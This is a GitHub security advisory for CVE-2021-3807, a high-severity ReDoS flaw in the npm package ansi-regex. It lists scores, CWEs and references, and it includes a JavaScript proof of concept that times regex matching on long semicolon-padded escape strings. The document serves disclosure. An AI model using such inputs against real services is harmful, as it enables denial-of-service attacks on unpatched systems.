chalk/ansi-regex · Security
Inefficient Regular Expression Complexity in chalk/ansi-regex
- GHSA ID
- GHSA-93q8-gq69-wqmw
- CVE ID
- CVE-2021-3807
- Severity
- high
- Published
- Updated
- CVSS
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- CVSS v3
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
CWEs
- CWE-697 · Incorrect Comparison
- CWE-1333 · Inefficient Regular Expression Complexity
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-3807 ↗
- https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9 ↗
- https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994 ↗
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311 ↗
- https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908 ↗
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774 ↗
- https://github.com/chalk/ansi-regex/releases/tag/v6.0.1 ↗
- https://www.oracle.com/security-alerts/cpuapr2022.html ↗
- https://security.netapp.com/advisory/ntap-20221014-0002/ ↗
- https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1 ↗
- https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a ↗
- https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8 ↗
- https://github.com/advisories/GHSA-93q8-gq69-wqmw ↗